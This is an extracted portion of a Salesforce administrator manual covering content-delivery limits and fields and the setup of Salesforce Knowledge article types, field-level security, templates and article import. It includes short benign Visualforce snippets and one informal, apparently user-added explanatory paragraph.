Deliveries on page 279.

Implementation Tips
• To ensure quality of service, the total number of content-delivery views allowed within a 24-hour period is limited to
10,000. Also, the amount of bandwidth allocated to content deliveries is limited to 1 GB within a 24-hour period. If a
recipient tries to view a delivery when a rate limit has been exceeded, a notification displays that asks the viewer to try again
later. Salesforce.com may be able to increase rate limits on an exception basis. For more information, contact your sales
representative.
• When you create a content delivery, Salesforce.com copies the original file and creates a new version of that file especially
for online viewing. Note the following information concerning supported file types:
- Microsoft® Office 97 through Microsoft Office 2007 Word, Excel, and PowerPoint files are supported for online views.
- Adobe® PDF files are supported for online views, but copy-protected PDFs are not.
- JPG, BMP, GIF, and PNG are supported for online views.
- Any document over 25 MB is not supported for online views.
You can create a content delivery with any file type, but if the file type is not supported for online viewing, your recipient
can only download the document in its original file format.
• Always preview your content delivery before sending the URL to recipients. In some cases, formatting in the original file
such as colors and non-standard fonts may not display properly in the online version. If you are not happy with the quality
of the online version, the content-delivery wizard gives you the option of making your content available for download in
its original file format.
• Content deliveries require Adobe Flash version 9.0.115. If a recipient does not have Flash installed, a download option
displays.
• Customer Portal and partner portal users cannot create content deliveries.
• Only the creator of a content delivery can delete the delivery record or edit details such as the expiration date.
• Each time a content delivery's URL is clicked, Salesforce.com records the click as one view and distinguishes between
internal and external views. An internal view is a view by a Salesforce.com user, for example, clicking the delivery URL on
the delivery detail page or the View option on the Content Deliveries related list is an internal view. The Content Deliveries
related list provides a count of all views for each delivery. Open the delivery details page to see information about a specific
view.
Note: For password-protected content deliveries, a view is recorded when the recipient clicks on the delivery URL
regardless of whether he or she enters the password and views the delivery.

• To delete a Salesforce CRM Content file that is associated with a content delivery, first delete the content delivery.
• Salesforce CRM Content users can deliver content from shared workspaces or a personal workspace.

1176
Customize Content Delivery Fields

Best Practices
• After creating a content delivery, always preview it before sending the URL to your recipients to ensure that the formatting
in the original file displays properly in the online version. For example, colors and non-standard fonts may not display
properly in the preview player. If you are not happy with the quality of the online version, click Previous and choose to
make your content available in its original file format or as a PDF file only. Your recipients will be able to download the
file, and you can track whether the file was downloaded on the delivery detail page.
• Animation and timings in PowerPoint files are not supported in the content delivery's online version. Hyperlinks in all
file types are also unsupported. See the implementation tips for a complete list of supported file types.
• Because content-delivery URLs can be sent to leads, customers, or any unauthenticated user, Salesforce recommends
requiring password protection if your users will send confidential documents via content delivery. The options below allow
you to select an organization-wide default for content-delivery password protection.
• If you are a Salesforce CRM Content user and want recipients of your content delivery to always see the latest version of
a file rather than the version available on the delivery-creation date, open the delivery detail page and click Edit. Select
the Content Delivery Opens Latest Version checkbox.
• If you select Notify Me of First View or Download, you will receive an email when the content delivery is viewed
for the first time.

Storage Implications
In Salesforce CRM Content, file storage is consumed when content is published to shared workspaces or saved to a private
workspace. Creating content deliveries does not have an additional affect on storage limits, but users who frequently upload
files to their personal workspaces for the purpose of content delivery should consider their organization's file-storage limits.
Administrators can use reporting to identify which users are consuming the most storage and which files are largest in size.
For non-Salesforce CRM Content users, file storage is consumed each time a content delivery is created. Once uploaded to
Salesforce.com, a file cannot be reused for multiple content deliveries. Creating multiple content deliveries with the same file
requires uploading the file each time. Deleting a content delivery deletes the source file in Salesforce.com, thus increasing
file-storage space.
For information about storage limits, see Monitoring Resources on page 595.

See Also:
Viewing and Editing Content Deliveries
Salesforce CRM Content Overview

Content Delivery Fields


Available in: All Editions
Salesforce CRM Content available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer
Editions

The following table provides a description of the fields (in alphabetical order) that make up a content delivery. These fields
are located on the create-delivery wizard, the Content Deliveries related list, or the delivery details page.

1177
Customize Content Delivery Fields

Field Description
Allow Recipient to View in the Browser If checked, the content delivery can be viewed online in a
custom Web page. On the delivery details page, this field is
labeled Allow View in the Browser.
Allow Recipient to Download as PDF If checked, the content delivery converts Microsoft® Word,
Excel, and PowerPoint files into PDF files and gives the
recipient the option of downloading the PDF. If the file you
uploaded was not a PDF, Word, Excel, or PowerPoint file,
this option does not appear in the create-delivery wizard. On
the delivery details page, this field is labeled Allow
Download as PDF.

Allow Download in Original Format If checked, the content delivery allows recipients to download
the original file. In the create-delivery wizard, this field is
called Allow Recipient to Download as [file
type] where [file type] is the original file's file type, such
as .ppt, .pdf, or .doc.
Author For Salesforce CRM Content files, the user who published
the file. (Read only)
Content Delivery Name The name assigned to the content delivery. By default, the
Content Delivery Name includes the file name and the
creation date.
Content Delivery Opens Latest Version For Salesforce CRM Content files, this flag indicates that the
recipient of a content delivery sees the most current version
of a file. For example, if a file is updated between the
delivery-creation date and today's date, a recipient who views
the delivery today sees the newest version.
Content Delivery Expires A flag that indicates whether access to the content delivery
will expire on the expiration date. In the create-delivery wizard,
this flag corresponds to the checkbox next to the Remove
access to content on field.

Created By The user who created the content delivery, including creation
date and time. (Read only)
Description For Salesforce CRM Content files, the description provided
when the file was published. (Read only)
Expiration Date The date on which the content delivery can no longer be
viewed. In the create-delivery wizard, this is the date entered
in the Remove Access to Content on field.
File Downloaded A flag that indicates whether a file in the content delivery was
downloaded. For example, if a content delivery includes
options to view the content in the browser, download the
content in its original file format, and download the content
as a PDF file, this flag is checked if the recipient downloads
the original file or the PDF file. (Read only)

1178
Customize Content Delivery Fields

Field Description
Internal View A flag that indicates whether a Salesforce.com user viewed
the content delivery. A view is considered internal if the user
opens the delivery URL from within Salesforce.com, for
example by clicking View on the Content Deliveries related
list or clicking the delivery URL on the delivery detail page.
If the user copies the URL and pastes it into his or her
browser, the view is considered external. (Read only)
Last Modified By The user who last modified the content delivery, including
modification date and time. (Read only)
Last Viewed The date and time on which the content delivery was last
viewed. A view is one click of the content-delivery URL. (Read
only)
Notify Me of First View or Download If checked, the user who created the content delivery receives
an email notification the first time the content delivery URL
is clicked.
Owner Name The user who owns the content delivery. (Read only)
Related To The record that the content delivery is associated with, such
as an account, opportunity, or custom object. Users with
sharing access to the record can click it to view more details.
Require Password to Access Content If checked, the recipient must enter the provided password
before viewing the content delivery. The password appears
when the content delivery is generated and for the life of the
delivery on the delivery detail page.
Title For Salesforce CRM Content files, the title of the file included
in the content delivery. (Read only)
View Count Total number of views for the content delivery, including
internal and external. (Read only)

See Also:
Creating Content Deliveries
Viewing and Editing Content Deliveries

1179
Customize Setting Up Salesforce Knowledge

CONFIGURING SALESFORCE KNOWLEDGE

Setting Up Salesforce Knowledge


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To create or edit users: “Manage Users”
To create article types: “Customize Application”
AND
“Manage Salesforce Knowledge”

To manage synonyms: “Manage Synonyms”


To create data categories: “Manage Data Categories”

Basic set up for Salesforce Knowledge includes creating at least one article type, enabling Salesforce Knowledge, creating data
categories, and ensuring that users have appropriate access.
After initial setup you can enable numerous options, including expanding the knowledge base to customers, partners, and
public website visitors. Use the following sections to set up Salesforce Knowledge and then customize it for your needs.

Getting Started with Salesforce Knowledge


Complete the following steps to give internal users the ability to manage and view articles:
1. Click Setup ➤ Customize ➤ Knowledge ➤ Article Type and create one or more article types.
Note: If you do not see Setup ➤ Customize ➤ Knowledge, ensure that the Knowledge User checkbox is
selected in your user detail page.

2. Click Setup ➤ Customize ➤ Knowledge ➤ Settings. Confirm that you want to enable Salesforce Knowledge and click
Enable Knowledge.
3. Create the category groups and individual categories that article managers will assign to articles. Categories help knowledge
agents, customers, partners, and visitors find articles in the knowledge base. See Managing Data Categories on page 1218
for more details.
4. After setting up your data categories, you can control article visibility based on category. By default, Salesforce Knowledge
users have access to all articles associated with any category. To restrict article visibility, you can specify that certain categories
are visible only to certain roles in the role hierarchy. See Editing Role-Based Category Group Visibility on page 1229 for
details.
5. Give users access to Salesforce Knowledge by assigning each user a Salesforce Knowledge feature license:
a. Click Setup ➤ Manage Users ➤ Users.

1180
Customize Setting Up Salesforce Knowledge

b. Click Edit next to the user's name or click New to create a new user.
c. Select the Knowledge User checkbox.

6. Verify that the profile assigned to each user has the appropriate Salesforce Knowledge user permissions enabled. Note the
following:
• Users who will create article types and modify other settings in Setup ➤ Customize ➤ Knowledge need the “Manage
Salesforce Knowledge” user permission. This permission is on by default in the System Administrator profile.
• Users who will find and view articles need the “View Articles” permission. This permission provides full access to the
Articles tab. “View Articles” is on by default in all standard profiles.
• Users who will create, edit, assign, publish, archive, or delete articles need the “Manage Articles” permission. We
recommend creating an “Article Manager” custom profile that includes the “Manage Articles” and “View Articles”
permissions. With these permissions the article manager has full access to the Article Management and Articles tabs.
If you do not want all article managers to have full access to article-management tasks, you can assign actions to groups
of article managers.
For a description of each user permission, see Administrative and General Permissions on Profiles on page 475.
7. Make the Article Management and Articles tabs visible by adding them to a custom app or instructing your users to add
the Article Management or Articles tabs to an existing tab set. Only users with the “View Articles” user permission can
see the Articles tab, and only users with the “Manage Articles” user permission can see the Article Management tab.

Customizing Salesforce Knowledge


Depending on how you want to use Salesforce Knowledge, such as provide quick access to the knowledge base for case users
or give customers access to articles, complete the following optional steps
1. If you have an existing knowledge base, import your articles into Salesforce Knowledge.
2. Enable Salesforce Knowledge in the Customer Portal to make articles visible to portal users.
3. Enable Salesforce Knowledge in the partner portal to make articles visible to portal users.
4. Create a synonym group to allow Salesforce Knowledge users to search for articles using synonyms as keywords.
5. Add the Articles related list to case page layouts. The Articles related list lets users search for articles while working on a
case. You can also allow case users to:
• Attach PDF versions of articles to case emails.
• Create articles when closing a case.
• View a list of suggested articles based on case information.

6. If your organization uses Salesforce Chatter and you want to allow users to follow articles, enable feed tracking for article
types.
7. If you want visitors to your public website to view Salesforce Knowledge articles, install the Sample Public Knowledge Base
for Salesforce Knowledge app from the AppExchange. For detailed instructions, see Creating a Public Knowledge Base with
Salesforce Knowledge.

See Also:
What is Salesforce Knowledge?
Managing Article Types
What are Data Categories?
Managing Salesforce Knowledge Synonyms
Reporting on Articles
Creating a Public Knowledge Base with Salesforce Knowledge
Salesforce Knowledge Implementation Guide

1181
Customize Customizing Salesforce Knowledge Settings

Customizing Salesforce Knowledge Settings


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To enable Salesforce Knowledge: “Customize Application”

Note: Before enabling Salesforce Knowledge, you must create at least one article type.

Salesforce Knowledge is a knowledge base where users can easily create and manage content, known as articles, and quickly
find and view the articles they need. For more information, see What is Salesforce Knowledge? on page 2341.
Click Setup ➤ Customize ➤ Knowledge ➤ Settings. If Salesforce Knowledge has not been enabled in your organization,
an Enable Knowledge option is available. If Salesforce Knowledge is already enabled, you can configure the following optional
settings:
Knowledge Base Language
By default, the knowledge-base language is the same as your organization's language. The search engine uses the
knowledge-base language value to search for articles. Modify the value only if all your authors will write articles in a
language other than the default organization language.

Show article summaries in article list views


For each channel, decide whether an article's Summary details should display on the Articles tab.

Allow users to create an article when closing a case


If checked, users adding case-close information can create a draft article that is automatically attached to the case when
the article is published. The article type you select determines which fields appear on the draft article, but on all articles
the Title contains the case subject.
If you enable this option, also click Layout Properties on each case-close page layout and select Enable submissions
during case close and Submit Articles.

Allow users to create an article from a reply


If checked, members of an answers community can convert helpful replies into articles. The article type you select
determines which fields appear on the draft article, but on all articles the Title contains the question and the Summary
contains the reply. After a reply is promoted to an article, the original reply has a status message indicating its association
with the draft article. When the article is published, the message on the reply includes a link to the article.

See Also:
What is Salesforce Knowledge?
Setting Up Salesforce Knowledge
Useful Salesforce Knowledge Terminology

1182
Customize Managing Article Types

Managing Article Types


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To create, edit, or delete article types: ”Customize Application”
AND
“Manage Salesforce Knowledge”

When creating an article, the author must select an article type. Article types, such as FAQs and Tutorials, provide the format
and structure to control how an article displays for each audience, known as a channel. For each article type you can create
custom fields, customize the layout by adding or removing sections and fields, and choose a template for each channel.
After creating your article types, you can customize, edit, and delete them. Click Setup ➤ Customize ➤ Knowledge ➤
Article Types to display the Article Types list page, which provides a list of all the article types defined for your organization.
From the Article Types list page you can:

• Click New Article Type to define an article type.


• Click the article-type name to display the detail page. On the detail page you can edit existing fields, add new custom
fields, add and edit sections on the article-type layout, and select a template for each channel.
• Click Del to delete an article type.

See Also:
Defining Article Types
Using the Fields Related List
Modifying Article-Type Layouts
Assigning Article-Type Templates

1183
Customize Defining Article Types

Defining Article Types


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To create, edit, or delete article types: ”Customize Application”
AND
”Manage Salesforce Knowledge”

When creating an article, the author must select an article type. Article types, such as FAQs and Tutorials, provide the format
and structure to control how an article displays for each audience, known as a channel. For each article type you can create
custom fields, customize the layout by adding or removing sections and fields, and choose a template for each channel.
To create an article type:

1. Click Setup ➤ Customize ➤ Knowledge ➤ Article Types.


2. Click New Article Type or edit an existing article type.
3. Enter the following:

Field Description
Label A name used to refer to the article type in any user interface
pages.
Plural Label The plural name of the object. If you create a tab for this
object, this name is used for the tab.
Gender If it is appropriate for your organization’s default language,
specify the gender of the label. This field appears if the
organization-wide default language expects gender. Your
personal language preference setting does not affect whether
the field appears. For example, if the organization’s default
language is English and your personal language is French,
you are not prompted for gender when creating an article
type.
Starts with a vowel sound If it is appropriate for your organization’s default language,
check if your label should be preceded by "an" instead of "a."
Object Name (Read only) A unique name used to refer to the article type
when using the Force.com API. In managed packages, this
unique name prevents naming conflicts on package
installations. The Object Name field can contain only
underscores and alphanumeric characters. It must be unique,
begin with a letter, not include spaces, not end with an
underscore, and not contain two consecutive underscores.

1184
Customize Defining Article Types

Field Description
Description An optional description of the article type. A meaningful
description will help you remember the differences between
your article types when you are viewing them in a list.
Deployment Status Indicates whether the article type is visible outside Setup.
In Development means article managers cannot choose this
article type when creating articles. Only select Deployed
after you are done creating the article type.

4. Click Save.
5. On the article type detail page, complete the following information:

• In the Fields related list, create or modify custom fields as needed.


• In the Fields related list, edit the article-type layout as needed to rearrange fields and create sections.
• In the Channel Displays related list, choose a template for the internal app, Customer Portal, public knowledge base,
and partner portal.

See Also:
Adding Custom Fields to Article Types
Modifying Article-Type Layouts
Assigning Article-Type Templates
Useful Salesforce Knowledge Terminology

Using the Fields Related List


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To create or change custom fields: “Customize Application”
To modify article-type layouts “Manage Salesforce Knowledge”

On the Fields related list on the article-type detail page, you can:

• Edit the Summary, Title, and URL Name standard fields. These fields are required on all article types and cannot be
deleted.
• Click New to create a custom field. All article types should have at least one rich text area field for writing article text and
a File field for attaching documents to articles. For help deciding which type of custom fields your article type needs, review
the custom fields for article types.

1185
Customize Defining Article Types

• Click Edit Layout to rearrange or remove fields and modify sections for the article type.

See Also:
Adding Custom Fields to Article Types
Custom Field Types on Articles
Modifying Article-Type Layouts
Setting an Article's Field-Level Security

Adding Custom Fields to Article Types

Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To create or change custom fields: “Customize Application”
AND
“Manage Salesforce Knowledge”

Create custom fields to store information that is important to your articles. Before you begin, determine the type of custom
field you want to create. The only standard fields provided on article types are Summary, Title, and URL Name, so at
minimum you'll want to create a field where authors can write the body of the article.
Note: Authors can view the URL Name when they create or edit an article. The URL Name does not appear to end
users viewing published articles.

To add a custom field:

1. Click Setup ➤ Customize ➤ Knowledge ➤ Article Types.


2. Select an article type.
3. Click New in the Fields related list.
4. Choose the type of field to create, and click Next.
5. Enter a field label. The field name is automatically populated based on the field label you enter. This name can contain
only underscores and alphanumeric characters, and must be unique in your organization. It must begin with a letter, not
include spaces, not end with an underscore, and not contain two consecutive underscores. Ensure the custom field name
is not identical to any standard field name for that object.
6. Enter any field attributes, such as Description, and click Next to continue.
Note: You cannot enter a default value for any custom field.

7. Set the field-level security to determine whether the field should be visible and editable or read only for specific profiles,
and click Next. Field-level security allows you to control which fields are visible in different channels.

1186
Customize Defining Article Types

8. If you do not want the field to be added automatically to the article-type layout, uncheck Yes, add this custom
field to the layout.
9. Click Save to finish or Save & New to create more custom fields.
10. Optionally rearrange your custom fields on the article-type layout.

Note: Creating fields may require changing a large number of records at once. To process these changes efficiently,
Salesforce.com may queue your request and send an email notification when the process has completed.

Caution: You will lose your data if you convert a custom field on an article type into any other field type. Do not
convert a custom field on an article type unless no data exists for the field.

See Also:
Changing Custom Field Type
Setting an Article's Field-Level Security
Modifying Article-Type Layouts
Assigning Article-Type Templates
Useful Salesforce Knowledge Terminology

Setting an Article's Field-Level Security

Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To set field-level security: “Customize Application”
AND
“Manage Salesforce Knowledge”

Field-level security lets administrators restrict users’ access to specific fields on detail and edit pages. For example, you can
make a “Comment” field in an article visible for Internal App profiles but not for Customer Portal profiles.
If using both article-type layout and field-level security to define field visibility, the most restrictive field access setting always
applies. For example, if a field is hidden in the article-type layout, but visible in the field-level security settings, the layout
overrides security settings and the field won't be visible. Some user permissions on profiles override both page layouts and
field-level security settings. For example, users with the “Edit Read Only Fields” permission can always edit read-only fields
regardless of any other settings.
Important: Field-level security doesn't prevent searching on the values in a field. To prevent users from searching
and retrieving records that match a value in a field hidden by field-level security, contact salesforce.com Customer
Support for assistance with setting up your organization to prevent unwanted access to those field values.

To define field-level security:

1. Choose where to define security, either via a profile or a field:

1187
Customize Defining Article Types

• For profiles:

a. Select Setup ➤ Manage Users ➤ Profiles.


b. Select a profile to change the field access for users with that profile.
c. In the Field-Level Security section, click View next to the tab you want to modify, and then click Edit.

• For fields:

a. Select Setup ➤ Customize ➤ Knowledge ➤ Article Types.


b. Select the article type that contains the field to modify.
c. Select the field and click Set Field-Level Security.

2. Specify the field's access level.

Access Level Enabled Settings


Users can view and edit the field. Visible
Users can view but not edit the field. Visible and Read-Only
Users can't view or edit the field. None

Note: These field access settings override any less-restrictive field access settings on the article-type layouts.

3. Click Save.

After setting field-level security, you can modify the article-type layouts to organize the fields on detail and edit pages.

See Also:
Adding Custom Fields to Article Types
Modifying Article-Type Layouts
Useful Salesforce Knowledge Terminology

Custom Field Types on Articles


The first step in creating a custom field for articles is choosing the field type. The following custom field types are available.

Field Type Description


Date Allows users to enter a date or pick a date from a popup
calendar. In reports, you can limit the data by specific dates
using any custom date field.
Date/Time Allows users to enter a date or pick a date from a popup
calendar, and enter a time of day. They can also add the current
date and time by clicking the date and time link next to the
field. The time of day includes AM or PM notation. In

1188
Customize Defining Article Types

Field Type Description


reports, you can limit the data by specific dates and times using
any custom date field.
File Allows users to upload and attach a file to an article. Note the
following caveats about File fields:
• The maximum attachment size is 5 MB.
• You can add up to 5 File fields to each article type; contact
Salesforce.com to increase these limits.
• If the Disallow HTML documents and
attachments security setting is enabled, File fields do
not support HTML files.
• Content in a File field is not searchable.
• You cannot attach Salesforce CRM Content files using
the File field.
• The File field type is not supported in Developer edition.
• The filename cannot exceed 40 characters.
• You cannot convert a File field type into any other data
type.

Picklist Allows users to select a value from a list you define.


Picklist (Multi-select) Allows users to select more than one picklist value from a list
you define. These fields display each value separated by a
semicolon.
Text Allows users to enter any combination of letters, numbers, or
symbols. You can set a maximum length, up to 255 characters.
Text Area Allows users to enter up to 255 characters that display on
separate lines similar to a Description field.
Text Area (Long) Allows users to enter up to 32,000 characters that display on
separate lines similar to a Description field. You can set
the length of this field type to a lower limit, if desired. Any
length from 256 to 32,000 characters is allowed. Note that
every time you press Enter within a long text area field, a
linebreak and a return character are added to the text. These
two characters count toward the 32,000 character limit. This
data type is not available for activities or products on
opportunities.

1189
Customize Defining Article Types

Field Type Description


Text Area (Rich) Allows users to enter up to 32,000 characters of
HTML-supported text. See Using Rich Text Area Fields on
page 844.

See Also:
Changing Custom Field Type
Useful Salesforce Knowledge Terminology
Adding Custom Fields to Article Types

Modifying Article-Type Layouts


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To customize the article-type layout: “Customize Application”
AND
“Manage Salesforce Knowledge”

Article-type layouts determine which fields users can view and edit when entering data for an article. They also determine
which sections appear when users view articles. The format of the article, for example whether layout sections display as subtabs
or as a single page with links, is defined by the article-type template. Each article type has only one layout, but you can choose
a different template for each of the article type's four channels.
Tip: You can also use field-level security to hide fields on article types. For example, if you publish the same article
in the internal app and the Customer Portal, you may want to use field-level security to hide a custom field such as
Internal Comments from Customer Portal users.

To modify an article-type layout:

1. Click Setup ➤ Customize ➤ Knowledge ➤ Article Types.


2. Select one of the article types in the list.
3. In the Fields related list, click Edit Layout.
4. When working on the layout:

• The layout editor consists of two parts: a palette on the upper portion of the screen and the layout on the lower portion
of the screen. The palette contains the available fields and a section element. The layout contains an Information section
and space for you to add sections. By default, all custom fields are included in the Information section.

1190
Customize Defining Article Types

Note: The Summary, Title, and URL Name standard fields do not display in the layout. The Summary
appears in a read-only Properties section at the top of the published article. Also included in this header are
the First Published, Last Modified, and Last Published fields.

• To add a new section, drag and drop the section element into the palette
• To change the name of a section, click its title. You cannot rename the Information section.
• To remove a field from a section, drag it to the right side of the palette or click the x icon ( ) next to the field.
• To remove a section from the article-type layout, click the x icon ( ) next to the section name.
• Use the undo and redo buttons to step backwards and forwards, respectively.
• Use the following keyboard shortcuts:

- Undo = Ctrl+Z
- Redo = Ctrl+Y
- Quick Save = Ctrl+S

• To select multiple elements individually, use CTRL+click. To select multiple elements as a group, use SHIFT+click .
• To quickly locate any item in the palette, use the Quick Find box. The Quick Find box is especially useful for article-type
layouts that have large numbers of items available in the palette.
• To save your changes and continue editing the article-type layout, click Quick Save.
• To save your changes when you are done customizing the article-type layout, click Save. If you navigate away from
your article-type layout before clicking save, your changes will be lost.

See Also:
Defining Article Types
Adding Custom Fields to Article Types
Setting an Article's Field-Level Security
Assigning Article-Type Templates

Assigning Article-Type Templates


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To edit article-type template assignments: “Manage Salesforce Knowledge”

Article types in Salesforce Knowledge require a template for each channel.


The article-type template specifies how the sections defined in the article-type layout are rendered. Salesforce.com provides
two standard article-type templates, Tab and Table of Contents, and you can use Visualforce to create custom templates.
If you choose the Tab template, the sections you defined in the layout appear as tabs when users view an article.

1191
Customize Defining Article Types

Figure 7: Published Article Using the Tab Article-Type Template

If you choose the Table of Contents template, the sections you defined in the layout appear on one page with hyperlinks to
each section title.

Figure 8: Published Article Using the Table of Contents Article-Type Template

To choose the template assignment for a channel:

1. Click Setup ➤ Customize ➤ Knowledge ➤ Article Types.


2. Click a label to view the article-type detail page.
3. In the Channel Displays related list, click Edit.
4. For each channel, specify the template.
For the internal app and the portals, Tab is the default template. For the public knowledge base, Table of Contents is the
default template. If your organization has a custom template for this article type, it also appears in the drop-down menu.
5. Click Save.

See Also:
Modifying Article-Type Layouts
Defining Article Types
Useful Salesforce Knowledge Terminology

1192
Customize Defining Article Types

Creating Custom Article-Type Templates

Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To create, edit, or delete article-type templates: ”Customize Application”
AND
“Manage Salesforce Knowledge”

Article types in Salesforce Knowledge require a template for each channel.


The standard article-type templates—Tab and Table of Contents—specify how the sections defined in the article-type layout
are rendered. For example, if you choose the Tab template, the sections defined in the layout appear as tabs when users view
an article. With the Table of Contents template, sections appear on a single page with hyperlinks to each section. You can
also create a custom template using Visualforce. Custom templates are not associated with the article-type layout.
To create a custom article-type template:

1. Click Setup ➤ Customize ➤ Knowledge ➤ Article Types.


2. Find the article type you are creating the template for and click its title to open the detail page. Note the article type's API
Name. You will need this value when you create the Visualforce page.
3. Click Setup ➤ Develop ➤ Pages.
4. Click New.
5. In the Name text box, enter the text that should appear in the URL as the page name. This name can contain only underscores
and alphanumeric characters, and must be unique in your organization. It must begin with a letter, not include spaces, not
end with an underscore, and not contain two consecutive underscores.
6. In the Label text box enter the text that users will see when choosing this template from the Channel Displays related
list on the article type detail page.
7. Add your Visualforce markup. The only requirement for custom article-type templates is that the standard controller be
equal to the API Name of the article type. For example, if the API Name of the article type is Offer__kav, your markup
would be:

<apex:page standardController="Offer__kav">

... page content here ...

</apex:page>

8. If your article type has a File field, you can allow users to download the field's content. In the following example, the article
type is Offer, the name of the File field is my_file, and the text that appears as a link is Click me:

<apex:outputLink value="{!URLFOR($Action.Offer__kav.FileFieldDownload,
Offer__kav.id, ['field'=$ObjectType.Offer__kav.fields.my_file__Body__s.name])}">Click
me</apex:outputLink>

1193
Customize Defining Article Types

Note: If the File field is empty (meaning the author didn't upload a file), the link still appears on the published
article but has no function. If you do not want the link to appear when the File field is empty, replace Click me
in the example with the name of the file, for example, {!Offer__kav.my_file__Name__s}.

9. Click Save. Your custom template can now be assigned to any channel on the article type. See Assigning Article-Type
Templates on page 1191 for details.

'Offer' is the name of one of my article types. That article type must have a file field of course, and in the example above, the
name of the file field is 'my_file'. This snippet of apex page code will display a link to dowlnoad the contents of the specified
file field. If the file field is empty (no file uploaded), then the link still shows up, but when you click on the link, nothing
happens. Of course, you can replace "Download me" in the example above by whatever text you want, including for example
the name of the file, by replacing it by {!Offer__kav.my_file__Name__s} If you do that and the file field is empty (no uploaded
file), then the link will not even appear.

See Also:
Developer's Guide: Visualforce Developer's Guide
Managing Visualforce Pages
Managing Article Types
Useful Salesforce Knowledge Terminology

Deleting Article Types


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To delete article types: “Customize Application”
AND
“Manage Salesforce Knowledge”

To delete an article type:

1. Click Setup ➤ Customize ➤ Knowledge ➤ Article Types.


2. Next to the target article type, click Del.
3. Confirm that you want to delete the article type.

Notes on Deleting Article Types


Note the following about deleting article types:
• If your organization has only article type, you cannot delete it. Every Salesforce Knowledge org requires at least one deployed
article type. Create a new article type and then delete the old one.
• Any articles associated with a deleted article type are automatically removed from all channels. This includes draft, published,
and archived articles.

1194
Customize Assigning Public Groups to Article Actions

• Salesforce.com does not display deleted article types in the Recycle Bin with other deleted records. Instead, deleted article
types appear in the Deleted Article Types list on the article list view page for 45 days. During this time you can restore the
article type and its articles, or permanently erase the article type and its articles. After 45 days, the article type and its articles
are permanently erased.
• If a user clicks a bookmark to a deleted article's URL, an Insufficient Privileges message displays.

See Also:
Defining Article Types
Useful Salesforce Knowledge Terminology

Assigning Public Groups to Article Actions


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To create public groups and assign them to article actions: “Customize Application”
AND
“Manage Users”
AND
“Manage Salesforce Knowledge”

The “Manage Articles” user permission provides Salesforce Knowledge users with full access to the Article Management tab,
including the ability to create, edit, assign, publish, archive, and delete articles. Administrators can use public groups and the
Article Actions page to restrict article-management tasks to specific users:

1. Click Setup ➤ Customize ➤ Knowledge ➤ Article Actions and decide which users need to perform which actions. For
example, you might decide that a group named Publishers needs to publish, archive, and delete articles and that a group
named Editors needs to edit and assign articles.
2. Create a public group for each set of users.
Note: Although you can add any Salesforce.com user to a public group, only users with the “Manage Articles”
user permission will be able to perform article actions.

3. Assign the public groups to article actions:

a. On the Setup ➤ Customize ➤ Knowledge ➤ Article Actions page click Edit.


b. For the action you want to modify, select the appropriate radio button and choose a public group. If you do not modify
an article action, all users with the “Manage Articles” permission can perform that action. You cannot restrict the Create
Articles, Edit Draft Articles, or Assign Articles to Other Article Manager actions.

1195
Customize Importing Articles

c. Click OK and Save.

See Also:
Creating and Editing Groups
Setting Up Salesforce Knowledge
Administrative and General Permissions on Profiles

Importing Articles
Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To import articles: “Manage Knowledge”
AND
“Edit Articles”
AND
“View Articles”

To view articles: “View Articles”


To create, edit, archive, or delete articles: “Edit Articles”

You can import articles from an existing knowledge base into Salesforce Knowledge.
After setting up Salesforce Knowledge, complete the tasks below to import articles:

1. Prepare the articles for import.


2. Create a CSV file that maps imported articles with an article type.
3. Specify import parameters (optional).
4. Create and upload a zip file containing the CSV and any supporting files.
5. View the import status.

Prepare the Articles


Import articles one article type at a time. Sort existing articles by information type (for example, FAQ or Offer) and ensure
that each information type has a corresponding Salesforce Knowledge article type that matches its structure and content. For
example, if you are importing FAQs, ensure that Salesforce Knowledge has an FAQ article type with enough question and
answer fields to accommodate the largest FAQ article. Also, verify that the article's field-level security settings allow you to
edit the fields.
Images can only be imported as part of an HTML file. Ensure that all your images are included in an HTML file and referenced
with a relative path using the img tag and its attribute src.

1196
Customize Importing Articles

If your articles contain HTML files, use an article type that contains a rich text area field and ensure that the HTML is
compliant with the tags and attributes supported in the rich text area field.
Note: Test your import using a small set of articles.

Create a CSV File to Map Imported Articles with an Article Type


Each CSV file imports articles into one article type and maps the imported articles' content with the article type's fields. For
example, a CSV file might map articles' titles with the standard field Title in an article type, meaning that each article's title
is imported into the Title field.
1. Create one CSV file per article type.
• CSV files cannot have more than 10,000 rows.
• CSV file rows cannot exceed 400,000 characters.
• CSV file cells cannot exceed 32 KB.

2. In the first row, specify the article type's fields and metadata (such as data categories or channels). Enter one item in each
column. You can use the following fields and metadata to import content:
• Standard or custom fields—refer to an article type's standard fields using field names and refer to custom fields using
API names. Leaving a row cell empty may cause your articles to be skipped if the related article-type field is mandatory.
• Rich text area field—use the rich text area custom fields to import HTML files or images. Refer to an article type's
rich text area field using its API name.
• File field—use the file custom fields to import any file type (.doc, .pdf, .txt, etc.). Refer to an article type's file field
using its API name.
• To categorize the imported articles, use Category groups; refer to a category group using its unique name prefixed with
datacategorygroup. For example, use datacategorygroup.Products to specify the category group Products.
• To specify where the imported articles are available, use the keyword Channels.

3. In subsequent rows, specify the articles you want to import. Use one row per article and enter the appropriate information
in each article type field column or metadata column.
• Standard or custom fields—enter the articles' data for each field, except for rich text area fields where you must enter
the relative path to the corresponding HTML file in your zip.
• Rich text area field—always enter the HTML file path relative to the location of the CSV file. Never enter raw text.
If the specified path does not exist, the related article is not imported. Note the following information about importing
HTML and images:
- We recommend that you create a folder for the HTML files (for example, /data) and a separate folder for the
images (for example, data/images).
- To import images, include the images in an HTML file using the <img> tag and src attribute. Ensure that the
src value is a relative path from the HTML file to the image folder.
- Images must be PNG, GIF, or JPEG files.
- Each image file cannot exceed 1 MB.
- Each HTML file cannot exceed 32 KB.
